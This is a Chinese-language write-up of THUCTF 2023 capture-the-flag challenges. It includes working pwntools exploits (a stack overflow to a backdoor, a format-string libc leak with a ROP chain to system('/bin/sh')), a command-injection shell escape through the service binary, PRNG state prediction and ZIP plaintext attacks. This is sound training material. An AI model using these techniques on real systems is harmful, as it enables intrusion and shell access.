THUCTF 2023 Writeup

一、Misc

1. easymaze-1 (not solved)

2. easymaze-2 (not solved)

3. 呀哈哈

Challenge:

一张 png 图片,无任何提示。

Solution:

猜测为 png 隐写,常见隐写方式有 ’篡改图片宽高‘、’LSB隐写‘、’IDAT 隐写‘ 等,尝试后发现为高度篡改。

Steps

  1. 用 ImHex 打开图片找到 IHDR 中的高度字节,改大一些

    Untitled

  2. 再次查看图片,即可看到 flag

    Untitled

4. 猫咪状态监视器

Challenge:

一个 Dockerfile,创建的容器中删掉了所有 APT package file,将 flag.txt 放到了根目录下;

一个 server.py 文件,允许进行 LIST、STATUS 操作(调用系统 service 命令)查看服务列表和服务状态。

Solution:

代码中用户输入部分存在命令注入。

Steps

  1. 观察代码,发现输入的 service_name 可以影响实际执行的代码

    Untitled

  2. 尝试各种输入,以及结合 run 函数的实际实现,发现

    Untitled

    程序只会返回标准输出,不会返回错误信息

    即使输入用 && 分隔的多个命令,也只会返回第一个命令的结果

    所以必须利用 /usr/sbin/service 开头的命令达到效果,用 && 可以将后面的 status 与第一个命令分隔开来

  3. 搜索发现 /usr/sbin/service ../../bin/sh 可以用来启动交互式 shell 来突破受限制的环境,说明 /usr/sbin/service 同样可以调用执行 /bin/cat

    Untitled

Reference:

https://resources.infosecinstitute.com/topics/capture-the-flag/so-simple-1-ctf-walkthrough/https://gtfobins.github.io/gtfobins/service/

5. 麦恩·库拉夫特 -1

Challenge:

一个 Minecraft 的存档文件。

Solution:

载入存档玩游戏

Steps

开局一个洞穴,跟着火把深入洞里,走错了就退出来,边退边拆火把,直到跟着火把遍历找到正确的答案。

Untitled

6. 麦恩·库拉夫特 -2

Challenge:

一个 Minecraft 的存档文件 。

Solution:

猜测第二个 flag 也在牌子上,解析存档找木牌

Steps

  1. 查询得到 Minecraft 的存档格式为 Anvil,其中包含了 region 文件,每个 region 里有 chunks、blocks 和各种各样的数据结构;

  2. 通过 python 的 Anvil 包可以读取操作其存档数据,并从存档数据里筛出木牌上的文字。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import anvil
    import os

    # traverse the directory and get all the region files
    for root, dirs, files in os.walk('./wherestheflag/region'):
    for file in files:
    if file.endswith('.mca'):

    region = anvil.Region.from_file(os.path.join(root, file))
    # there are 32x32 chunks in a region
    for x in range(32):
    for z in range(32):
    try:
    chunk = anvil.Chunk.from_region(region, x, z)
    if len(chunk.tile_entities) > 0:
    # print(chunk.tile_entities)
    for tile in chunk.tile_entities:
    print(tile['Text1'], tile['Text2'], tile['Text3'], tile['Text4'])
    except:
    pass

    Untitled

    看到其中有第两个 flag,一个是第一题的 flag,一个是该题(第二题)的

7. 麦恩·库拉夫特 -3 (not solved)

Challenge:

一个 Minecraft 的存档文件。

Solution:

猜测第三个 flag 在剩下的木牌处,打印存档中这些木牌的坐标 TP 过去,发现一个巨大的电路……

Steps

……

8. KFC

Challenge:

一张 KFC 的图片;

店名的 SHA256 为 e65c7a35bbc9f9515187066d170b74d4d50ea230266b5077315235115b9e679e;

flag 为店名的 md5。

Solution:

在 Google Images 上搜索该图片,得到店名 KFC Paris Strasbourg Saint Denis,验证 SHA256 正确。

Steps:

Untitled

9. 未来磁盘·小 (not solved)

10. 未来磁盘·大 (not solved)

11. Dark Room

Challenge:

一个文本游戏,参考 tinichu316/Dark_Room。

Solution:

通过呼救功能刷 sanity,通关游戏。

Steps:

  1. 一路找到钥匙,打开金色大门后,告诉我虽然通关了,但是要 117% 以上的 sanity 才能给 flag;

    Untitled

  2. 靠我的纯人工操作,最多只能以 87% 的 sanity 通关游戏;

  3. 观察代码,发现提升 sanity 的方式可以通过使用道具提升,由于道具数目有限,本想通过存档刷道具,但是发现 save 存档功能没有用;

  4. 剩下提升 sanity 的方式只有呼救,但是执行一次 h 呼救功能仅有 20% 的概率会提升 10 点 sanity,有 80 % 会掉 sanity,连续四次呼救成功(概率1/625)再开局,则能保证通过时 sanity 够高;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    from pwn import *
    import re

    # remember to save the game (name: xxyyue) before running this script

    if __name__ == '__main__':
    # context.log_level = 'debug'
    p = remote('chal.thuctf.redbud.info', 52407)
    p.sendafter(b'[...]: ', 'load')

    # get hign sanity for getting flag1
    for i in range(0x2000):
    p.sendafter(b'[xxyyue]: ', 'h')
    # check sanity
    p.recvuntil(b'Sanity: ')
    sanity = int(re.compile(r'(\d+)').search(str(p.recvline().strip())).group(1))
    print(sanity)
    if sanity < 100:
    p.close()
    p = remote('chal.thuctf.redbud.info', 52407)
    p.sendafter(b'[...]: ', 'load')
    if sanity > 130:
    break

    p.interactive()

    Untitled

12. Darker Room

Challenge:

一个文本游戏,参考 tinichu316/Dark_Room。

Solution:

进入 flag 房间,猜数字。

Steps

  1. 打开金色大门往南走会进入一个 flag 房间,让你开始猜数字,随机输入几个数字,发现返回 Wrong 的时延都不一样,输入非数字则输出如下报错:

    Untitled

  2. 推断分析得到,程序对 flag_number 从低位开始进行逐位判断,若某比特位为 1 则该次输出时延就会较长;

  3. 尝试打印每次返回 Wrong 的时延,是非常规律的 0s 和 1s 输出,根据此获得到 flag_number 每个比特位,通过 long_to_bytes 可以转换得到 flag;

    Untitled

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    from pwn import *
    import re

    # remember to save the game (name: xxyyue) before running this script

    if __name__ == '__main__':
    # context.log_level = 'debug'
    p = remote('chal.thuctf.redbud.info', 52407)
    p.sendafter(b'[...]: ', 'load')

    # open the gold door
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'pickup key')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'pickup tranket')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 'usewith key door')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'pickup key')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'e')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'n')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'w')
    p.sendafter(b'[xxyyue]: ', 'usewith key door')
    p.sendafter(b'[xxyyue]: ', 's')
    p.sendafter(b'[xxyyue]: ', 'getflag')

    # guess the public key for getting flag2
    flag_number = ''
    for i in range(0x10000):
    start = time.time()
    p.sendafter(b'Guess my public key (give me a number): ', str(i).encode())
    ans = p.recvline().strip()
    end = time.time()
    response_time = end - start
    flag_number = '1' + flag_number if response_time > 0.5 else '0' + flag_number
    print(f"Server response time: {response_time} seconds, for round: {i}. flag_number: { flag_number }")
    if ans != b'Wrong':
    print(ans)
    break

    p.interactive()

    # flag_number: 10101000100100001010101010000110101010001000110011110110110011000110001010000010100011100110010010111110111100100110000011101010101111101110011001100000100100101010110011001010110010001011111001101110100100001001001010100110101111101000011010010000011010001101100010011000011001101001110010001110110010101011111011001010101100001000011011001010100100101101100001100110110111001010100010011000111100101111101
    # from Crypto.Util.number import long_to_bytes
    # long_to_bytes(0b10101000100100001010101010000110101010001000110011110110110011000110001010000010100011100110010010111110111100100110000011101010101111101110011001100000100100101010110011001010110010001011111001101110100100001001001010100110101111101000011010010000011010001101100010011000011001101001110010001110110010101011111011001010101100001000011011001010100100101101100001100110110111001010100010011000111100101111101)
    # b'THUCTF{f1AG2_y0u_s0IVed_7HIS_CH4lL3NGe_eXCeIl3nTLy}'

13. Huavvei Mate Hard (not solved)

14. Huavvei Mate Nano (not solved)

15. 简单的基本功

Challenge:

一个 zip 压缩包,里面包含 chromedriver_linux64.zip 和 flag.txt,两个文件都需要输入解压密码才能打开。

Solution:

因为压缩包中 chromedriver_linux64.zip 是可以从网上下载到的已知文件,则可以使用选择明文攻击查看整个压缩包的内容。

Steps

  1. 在 ChromeDriver 的官网上,根据 ZIP 包中 chromedriver_linux64.zip 的大小下载对应版本文件,并将其压缩成 chromedriver_linux64.zip.zip;

  2. 将原压缩包 bkcrack_level1.zip 和已知明文的压缩包 chromedriver_linux64.zip.zip 作为输入放进 ARCHPR 进行解密;

    Untitled

  3. 得到解密成功的 flag.txt 文件

    Untitled

Reference:

https://blackdn.github.io/2020/05/07/zip-decryption-2020/

16. 深奥的基本功

Challenge:

一个 zip 压缩包,里面包含 flag.pcapng 文件,需要输入解压密码才能打开。

Solution:

根据提示——ZIP 明文攻击甚至不需要知道完整的文件内容,只需要知道其中的任意 12 个字节(其中 8 个字节必须连续)即可。

Steps

  1. 准备好 pcapheader 作为已知明文,破解得到密钥,再用密钥破解得到 flag.pcapng 文件;

    Untitled

  2. 观察 flag.pcapng 文件,发现 flag。

    Untitled

Reference:

https://www.freebuf.com/articles/network/255145.html

二、Crypto

1. easycrypto-1

Challenge:

一个加密过后的文件 cipher.txt;

一个加密脚本 encytoMessage.py,导入未知的字母映射表 table,导入未知的原文信息 message,用 table 对 message 做字母映射,得到 cipher.txt。

Solution:

用网络上的单字母替换密码破解工具,可以解出 table 和 message。

Steps:

  1. 输入密文,破解后从原文中发现 flag,同时获得字母映射关系

    Untitled

Reference:

https://www.guballa.de/substitution-solver

2. easycrypto-2

Challenge:

一个加密过后的文件 encoded.txt;

一个用于加密的二进制可执行文件 main,以字母映射表 table 和 flag2 作为输入,得到输出 encoded.txt。

Solution:

反编译 main 文件,发现是 base64编码,解码 base64 获得 flag。

Steps:

  1. 根据第一题得到字母映射表 table = ’RNPYCLDGBEKQSJZUVMWAITOHXFrnpycldgbekqsjzuvmwaitohxf0123456789+/‘

  2. 反编译 main 文件,比常规 base64 编码多加一个 0;

    Untitled

  3. base64 解码密文,得到 THUCTF{I_10u3_6as0b4},但是系统判为错误,尝试把不确定的映射字母 f v h 调换顺序后仍不能获得答案,猜测为 THUCTF{I_10u3_6as3b4} 判定通过,怀疑给的密文有误。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    def myBase64Decode(encodedBin):
    charTable = "RNPYCLDGBEKQSJZUVMWAITOHXFrnpycldgbekqsjzuvmwaitohxf0123456789+/" #字符表

    #如果字符不是4的倍数 返回空
    if not len(encodedBin) % 4 == 0 :
    print(len(encodedBin))
    return ''

    tCode = '' #用于存放最终的二进制文本字符串
    pCpde = '' #暂存变量
    #遍历encodedBin每一个字符
    for i in encodedBin:
    for j in range(len(charTable)): #找到表中对应坐标
    if chr(i) == charTable[j]:
    pCode = bin(j)[2 :] #转二进制去除开头的0b
    lackZeroNums = 6 - len(pCode) #省略的0的个数
    for x in range(lackZeroNums):
    pCode = '0' + pCode
    tCode = tCode + pCode
    pCode = ''
    result = '' #储存最终结果
    for i in range(len(tCode) // 8):
    pCode = tCode[i * 8 : i * 8 + 8]
    result = result + chr(int(pCode, 2))
    return bytes(result, encoding = "utf-8")

    # print(myBase64Decode(b"TCgTV1MDc0qlSAN1S182XHSoXeM9RR=="))
    # b'THUCTF{I_10u3_6as0b4}\x00' # 这个错的
    print(myBase64Decode(b"TCgTV1MDc0qlSAN1S182XHSfXeM9RR=="))
    # b'THUCTF{I_10u3_6as3b4}\x00'

Challenge:

一个 cookie.py 文件,在 flag 前面拼接 2500 个 ’\0‘ 后与一个随机学列异或进行加密。

Solution:

python 生成的随机数可以利用连续的 624 个随机 int 整数,预测其之后的随机数。

Steps:

  1. 观察代码,发现由于 words 的前 2500 Bytes 都为 0,所以 ancient_words 的前 2500 Bytes 都应该是用 randbytes 生成的随机字符;

    Untitled

  2. 根据 randbytes 的实现,发现其相当于生成了 n * 8 个随机比特然后按小端序转换为 Bytes,将生成的随机字符串按字节拆分,每四个重新倒序拼在一起就相当于一次生成的整数;

    Untitled

  3. 利用 python 的 randcrack 包进行破解,得到 flag。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from randcrack import RandCrack

    # ancient_words comes from the remote server
    ancient_words = '2d26ef4677fd770a875545ac94916465a3321c5534c02da2b394075fee70e48bdd7db2ceac63b16e1c45943da0b5d88e3861d4e9aea3959debbc6a3866f66659160f463d63f3f73c9c802bff9686d34a1d216af3d2b1cf2e6d273c4739609616fee43fb3f2bbc876b2513dfc8751d4f75d45ae1cf04fb2c99ffc4f57e8042aa54175b992c0a14641f5ce88099871a2e37a9ad53634c06d2a8643f4317514d186d29f8654413b2afa6c7db3d2deedcf2523e656396fbd1096e8d8919a639709cb7300a1d8b91f5aa332824dd411981f7e44ca304bec1d09442a1547b1879d268b53ba4e914c6633a8b49f8adc55ce2a6a98a488f323eb24d5a195dcf12f579749a59bdc635af713f47023a2a8e4a43bbb8f81b304fb38eb9f4fba8d88394410cf1bc3e0dc81fa7c86a10f2da31659c7a78777bac749f134c754778b8379d79a7de15cbe8de4fd6c20c057c64bd0d1f7ffc2a5eb7686cc8c22fd49716b561e943b3eca58eb9766713ef7537f98febd02d423e6274ab09ef34d748ec83410a3c0ae87601f16affa37ffa23a487fbc56f3fd6d0bda60200d0572d379f5f1147cb7ef3edc2f2b8d255f85b27f2f8dcef56058f045ebc54ef71a1f9cdee9656a654ab9bc542aa4bff8545fb74573c872f2e742a69fe9e5bf888b560e9ca5e7ad4514bde12fed479442a0e1ceb8ac481aa84bff5b8f1b8129cd004ecbe070b55f3139ebedfc6225bb0c79452ca330380b4751cbaac8864c19e73b94b085f53d2cefd9e98c511ed358fdde5b85869a6c3113ff8dc408725e98162aa4b32fa106040f974f2e9ae8d4e631d2a2088587676353a005ab5dff56eabb9e88ae9e029563eb2488ba2b41fdcc2cd6d2b3dc310f7c3436c61756027e727a4b2ab8242501d253052af5633dacc33f844e407db3664687e69c894856346c7bcc61914b5ef3da57bdd7c4c61de1a0311ec49453944b13df7fa69949c0f6fbd7883355d00fa0db59988dca0ca413f0ac1c43dd020304b783053a0b533285b27dd9c8a7fb298325e1fcec92adb1fc077ca75729e41b9a5217d4660b2ddb50ccbc8232d614ff7e7fc7dcfe975677c60a2ccc0b4ef694af7e551c8aaed70fdb8d2f6e90fe377d6a010d2437b530bb321e893d078fa90fb2a806643932454032736dfcaa715436aadb49127a5b2282fe938bf1aea399978b5360735c6933c31e377f78b6a185e24db7ec55cfdc4dca5626ed1f3f5f72b37e621f5c504a191f9fa1c1e57605facb1c26103324234df9391738bf3fb03698bf05baf1fa07cf4c157f8650f3b27aac2b8d5fd7febfc6d720671316f31057b35721e1b8310fc6eecf020282fd25e589ef078f3013872f0f9430f1d8899e27233fd75681af75394fb89f87082acdd194d3a7942dd5270400689dd00ef6cde7e901770c680b2c6e640c6e1b07d56804f275933ae82b13ec0c748d79b63599ecccf5737dd361d725bf3962de58383119727d23ca23f069589a8adb84f1accc167e719fda8027d8e1c41fb744559bd59c8ba30cc35cca02a1c12ddc76db2474c2df338e03491e3403fca550b1b15577d13ca5dd6b0549191487e3f966f28f9ad68f68ba8c9a427a0a4945755d6724dd2797e549f410d2ec0074d2ca548d57d98ace4c497deee154e11a31e441f04afe404bcde9e76d5f5377194da173b49c60bc5a0908e0941793f9ce30ceb6a7a61f09c8c77fa8a333976599d4cb19523e13e54cca02d1f30d6205e72702d2e525995ff20c97dd2dce7c6f4b0c08b6c61bf0f8ca6337895acee1a619b5cf1b09ff14ff68a2379df6c3055f3a694ee214afd2c2f5e050fc4675c95bcddfd896c482a0534ca4af8561a3c617468a2234f66359e3c3f9e299243934adc05adb75f7e3677ec17b8c8fa8829720afb09ad9cfd3e2abefbbc0005f06612863a7efe35a4aeb9a90f3a19ef1cbd13e84013795cfd9f1b2d64126a07121fe14e40b4279bc66e20519bb451b1dcfe2a796cd543a27c505aedd790b96ee2db7a02da4125d807a1cba53277ae63319fad2e871853127acce29a55a4f4dbcf5ca00d57fd9793a1d00facfe88e1297cc81146eed8a523233dc209d429134ae71c6964ff727ef45f5c390ca1f9f5807c309673f79d3ededed2915a03fac4f53b100dcde3efd9ba0034d98c917049b0b8e0cb55da16a3e75ebe56b69fd3aa7af31038fdc09719c8098f7a38eac8d25661f757aa3c6f4d6f35e9e1d6c349f4cd8b167286107f71dd87b30a312eaf9691df182e0e0ecfa37deff21725c9d3458175000f2ebeadd30502caf18d9567348be1ee816da3c7dadf15acbc94b7c928d471cabcc2795d148cc09de4c0bb8803f13cd584b50ba79579fe7fcab890fe66f1a78e4b02834dbe8368c478ed83aefe22a938bbeaf40b9865d7034cd52c36619ba5d67be7e1e8db994a3de4cb68e96476bbf0a44b1c3714c48bbd918db871119770545d9d2d5fda7a03a6bbda68626e206105080dc8dd945337f848bb2ec6a78c857fb70ba9426d6b2a2d882fe3c97fa9e87789f299b41696852f37bd35e0a3140775827fa675105fbcc9f2c7b3ad43322583707d8c66b9c76902bb29568d77b99efd16c0c5f3ce610a7c84da82d38a39bde97179d1975f94e0d8ec8178246e26676853bbf6f87510726b27fb5cfcb4873fc9349051fc3d46354f5a19580516e411ebe2f06340c44407d45b90446be25886065bd0429286fb962522f1d7bacfae8304dfe46f0bdc36dd5aa73e290912a12fb64c75737afef14adea1fbcdf1df30788eb34db72ffe1da75f2f0bed17159a4f5896049b87617fca2e1a10e77d6a0522cdcda37c16d676e53a2b9795804c952adb4ecedaa28f9967bf09abbcafcf9d4b91bb52df5aa65b04fa2e95d0f38e867bb06cc12e5d11dedfedc02122c7758cbef413b366168175102cb94196e903ee8a63eb0c47ef33a46b3d7bd03bcba43e2f63eb97c5438580a98ca761133e66ba6d736cc64406a5e6e1b16a292ab31753126f06a6a720a65c81856a28700d29acecdd8fd9a836afdf41ff574c58180a5fc06ee648aa33b4c54d4711845234c86fdb89646f433aead4fa70a279eb3ce75f2487c2dd4eebe9f389bfeab1a1c60bf661184c4f52b9f09d4973649ac8e792b12b93f4809423f71f74ea34efa9f190880c528aa4a35ba07af9f6e23245d140e9ba2675b398e5207057bb191d3074acf5fd2402224b591f9c8a84a0ab335246fa4297475760a8efe70068593a7ea2442f5ae8162489cff5b88d9a3cdf7f2129613b60fc5c0ab0b206084f10a2483bf03a394993ad93c5a834bccec0a4235d63d2f1eda17e29e7b5e6a2e48b12d6d03ba463c6ac2cc7327cb4530b38163f6b6e7dfe88d3eb17d68cd95def2b8088bef128ec3684594b867af1df60b1f3a8acd03457ff00e1b91ecb047cbb56c64d8612b35003b3d3d10bb5b3bbec1e242bb9c794bd7fe4e5daef964fc28e79b23e1101eab5c45214d14d8457ef504510a0230ded2163b7882e8ff8fcf96c0d9c7b00cd5e30b504db671d299955d6754d77f4352ff3b2a1a6432b2dd56acff619664fdeb5d311878a84b10297b2067aa4a4779a79d64'

    rc = RandCrack()

    words = ancient_words
    for i in range(624):
    # print(words)
    rc.submit(int(words[6:8] + words[4:6] + words[2:4] + words[:2], 16))
    words = words[8:]

    # print(words)
    random_words = rc.predict_getrandbits(len(words) * 8).to_bytes(len(words), 'little').hex()
    # print(random_words)

    def xor_arrays(a, b, *args):
    if args:
    return xor_arrays(a, xor_arrays(b, *args))
    return bytes([x ^ y for x, y in zip(a, b)])

    print(xor_arrays(bytes.fromhex(random_words), bytes.fromhex(words)))
    # b'\x00\x00\x00\x00THUCTF{5047219d-13e7-4600-ae95-529f13bb6c11}'

Challenge:

一个 cookie.py 文件,在 flag 前面拼接 2500 个 ’\0‘ 后与三个随机序列异或进行加密,其中第一个随机数种子 seed1 会打印出来,第二随机数种子 seed2 可以自己选择但不能与 seed1 等同。

Solution:

找到一个随机种子 seed2,可以和 seed1 生成相同的随机序列,这样他们的异或值为 0,就可以转换成第一题的方式求解。

Steps:

  1. 观察 python 调用的随机数生成算法处理种子的具体方式,在 _randommodule.c 文件中,发现绝对值相同的种子生成的随机序列是一样的,所以可以选择 seed2 = -seed1 作为输入;

    Untitled

  2. 剩余解法同第一题,exp.py 代码同上。

    1
    2
    python3 exp.py
    # b'\x00\x00\x00\x00THUCTF{b08c1aec-9c8a-420f-8fbf-fdab4bf4caf7}'

Reference:

https://github.com/python/cpython/blob/main/Modules/_randommodule.c

Challenge:

一个 cookie.py 文件,在 flag 前面拼接 2500 个 ’\0‘ 后与 200 个随机序列异或进行加密,其中前 100 个随机数种子会打印出来,然后由你输入 100 个随机数种子。

Solution:

只要后 100 个随机数种子与前 100 个随机数种子相同,就会直接输出 flag。

Steps:

  1. 手动输入会导致输入不完整,用脚本输入其输出的 100 个随机种子即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from pwn import *

    if __name__ == '__main__':
    # context.log_level = 'debug'
    p = remote('chal.thuctf.redbud.info', 51694)

    # flag3
    p.sendafter(b'Choose one: ', b'3\n')
    res = p.recvline() # '\n'
    res = p.recvline() # Ⱦħē đⱥɏ ꝋӻ ɍēȼҟꝋꞥīꞥꞡ đɍⱥⱳēⱦħ ꞥīꞡħ ⱳīⱦħ ħⱥꞩⱦē. Ħⱥꞩⱦēꞥ, ꝋɍ ӻꝋɍӻēīⱦ ⱥłł.
    res = p.recvline() # curses
    # print(res)
    p.sendline(res[1:-2])

    p.interactive()
    # THUCTF{14471796-07b3-4b92-ae67-e130b374e451}

6. Another V ME 50 (not solved)

Challenge:

一个 notebook.py 文件,以一个 shop 的形式运作,每个用户初始金额 25,需要找到使用户金额 ≥ 50 的方法来买 flag。

Solution:

当用户的 token 碰撞时,金额会发生累加,转换成 sha256 局部碰撞问题。

Steps:

……

三、Pwn

1. babystack

Challenge:

一个二进制可执行文件 babystack,执行后要求输入字符串及其长度;

两个动态库文件 ld-linux-x86-64.so.2、libc.so.6。

Solution:

通过整数溢出绕过输入字符串的长度限制,通过栈溢出用输入字符串覆盖返回地址到后门函数上,获得系统权限。

Steps:

  1. 用 checksec 检查 babystack 文件,发现其没有开 PIE 动态地址加载,也没有开 canary 保护;

    Untitled

  2. 用 IDA 反编译 babystack,发现后门函数 backdoor 可以执行 system(“/bin/sh”), 其地址为 0x4011B6;

    Untitled

  3. 观察其参数覆盖的地址空间,v4 为输入的字符串长度,int 占 4 Bytes,v5 为读入的字符串;

    Untitled

  4. 虽然程序想要通过限制 v4 大小在 0~100 范围内来限制读入的字符串数目,但在 get_line 函数的 for 循环内,存在整数下溢的问题,当整数 v4 为 0 时,减去 1 转换成无符号整数,就会变成 2^32 - 1,无法限制读入的字符串数目;

    Untitled

  5. 此时输入字符串覆盖返回地址为后门函数的地址即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    if __name__ == '__main__':
    context.log_level = 'debug'
    p = remote('chal.thuctf.redbud.info', 52158)
    # p = process('./babystack')
    ret_addr = 0x4011d3
    backdoor_addr = 0x4011B6
    payload = b'A' * 0x70 + b'B' * 8 + p64(ret_addr) + p64(backdoor_addr) + b'\n'
    p.sendafter(b'input the size of your exploitation string:(less than 100 chars with the ending \\n or EOF included!)\n', b'0\n')
    p.sendafter(b'please input your string:\n', payload)
    p.interactive()

    Untitled

2. childstack

Challenge:

一个二进制可执行文件 childrenstack,执行后要求输入字符串及其长度,第一个字符串会作为print的第一个参数打印出来,第二个字符串没有长度限制;

两个动态库文件 ld-linux-x86-64.so.2、libc.so.6。

Solution:

通过 format string leak 可以打印出 scanf 的地址从而计算出 libc 的基址,从而跳转到 system 函数执行,通过 rdi 构造 system 执行参数 ‘bin/sh’,拿到系统权限。

Steps:

  1. 用 checksec 检查 childrenstack 文件,发现其没有开 PIE 动态地址加载,也没有开 canary 保护;

    Untitled

  2. 用 IDA 反编译 childrenstack,发现第一次输入的参数 v4 会被 printf 打印出来,当 v4 作为 printf 的第一个参数时,会存在格式化字符串泄露的问题;

    Untitled

  3. 执行程序,第一次输入 aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p,观察发现输出的第六个参数(%p)开始是存储在栈上的被输入的字符串;

    Untitled

  4. 此时,若将 scanf 函数的跳转地址放在输入字符串中,并调整打印参数,就可以打印出 scanf 加载执行地址;

    payload = b'aaaaaaaa%8$saaaa' + p64(childrenstack.got['__isoc99_scanf'])

  5. 接收其打印出的 scanf 加载执行地址 scanf_libc,结合 libc.so.6 中 scanf 的位置可以计算出 libc 基址,从而得到 system 函数的执行地址;

    libc_base = scanf_libc - libc.symbols['__isoc99_scanf']

    system_addr = libc_base + libc.symbols['system']

  6. 在 libc 中再找出存有 ’/bin/sh’ 字符的位置,通过 ‘pop rdi; ret’ 的 gadget 可以控制其作为 system 的执行参数,拿到系统权限。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    from pwn import *

    p = remote('chal.thuctf.redbud.info', 52199)
    # p = process('./childrenstack')

    childrenstack = ELF('./childrenstack')

    # leak libc scanf address
    payload = b'aaaaaaaa%8$saaaa' + p64(childrenstack.got['__isoc99_scanf'])
    print(payload)
    p.sendline(payload)
    p.recvuntil('aaaaaaaa')
    scanf_libc = u64(p.recv(6).ljust(8, b'\x00'))
    print(hex(scanf_libc))

    # calculate the libc base address
    libc = ELF('./libc.so.6')
    libc_base = scanf_libc - libc.symbols['__isoc99_scanf']

    # calculate the system address
    system_addr = libc_base + libc.symbols['system']

    # calculate the pop rdi; ret address
    rop = ROP(libc)
    rdi_gadgets = rop.search(regs=['rdi'], order = 'regs')
    pop_rdi_ret_addr = libc_base + rdi_gadgets.address

    # calculate the /bin/sh address
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

    ret_addr = 0x4011ee

    # overwrite the return address
    payload = b'a' * 0x70 + b'b' * 8 + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
    p.sendline(payload)

    p.interactive()

    Untitled

Reference:

https://blog.csdn.net/weixin_46521144/article/details/115129011

3. teenagerstack (not solved)

4. 初学 C 语言

Challenge:

一个 pwn.c 文件,接收输入字符串作为 printf 的第一个参数打印;

一个二进制可执行文件 pwn。

Solution:

通过 format string leak 可以打印出变量 flag1 的内容。

Steps:

  1. 观察源代码,其中输入的字符串 buf 作为 printf 的第一个参数,可以控制后续参数的输出;

    printf(buf,publics,publici);

    Untitled

  2. 如果增加格式化参数的个数,就可以读取到其它参数,前6个格式化参数为寄存器中存储的数据,之后的参数将会读出栈空间的数据,每个参数读 8 字节,将 pwn 拖进 IDA 观察 flag 的存储位置,为 rsp+A0h,所以应该是从第 26 个参数往后读取出的数据;

    Untitled

  3. 编写脚本获取栈空间 rsp+A0h 往后 8 * 8 Bytes 的空间,转换成字符形式得到 flag。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from pwn import *
    from Crypto.Util.number import *
    if __name__ == '__main__':
    # context.log_level = 'debug'

    results = []
    for i in range(26, 35):
    p = remote('chal.thuctf.redbud.info', 52462)
    p.sendafter('Please input your instruction:\n', f'%{i}$lu\n')

    res = p.recv()
    print(res)
    results.append(res.split(b'\n')[0])
    p.close()


    print(b''.join([bytes(reversed(long_to_bytes(int(res)))) for res in results]))
    # b'THUCTF{11a6I:R3Ad_pr1NTF_cOde_S0_eaSy}\n\x00\x00\x00%34$lu\n'

5. 熟悉 C 语言 (not solved)

6. 禁止执行,启动 (not solved)

7. 启动执行,禁止 (not solved)

8. 禁止启动,执行 (not solved)

四、Web

1. 简单的打字稿-1

Challenge:

一个类型定义 type flag1 = 'flag{...}'

一个 Typescript 运行环境,如果输出中包含 ‘flag’ 字符串就会只打印 ‘绷’。

Solution:

通过报错打印 flag1 类型的赋值。

Steps:

  1. 在 typescript online 的环境中,测试给 flag1 赋值会怎么样,理论上报错会打印给 flag1 关联的字符串值;

    Untitled

  2. 在题目运行环境中给 flag1 赋值,结果只有一个‘绷’字;

    Untitled

  3. 尝试给类型名再关联一次进行测试,报错得到 flag。

    Untitled

2. 简单的打字稿-2 ****(not solved)

3. Chrone-1 ****(not solved)

4. Chrone-2 ****(not solved)

5. V ME 50

Challenge:

一个登陆界面,进行渗透测试。

Solution:

抓包改参数提升用户权限,利用多用户购买订单会出现在一个账户里的这个漏洞,攒钱买 flag。

Steps:

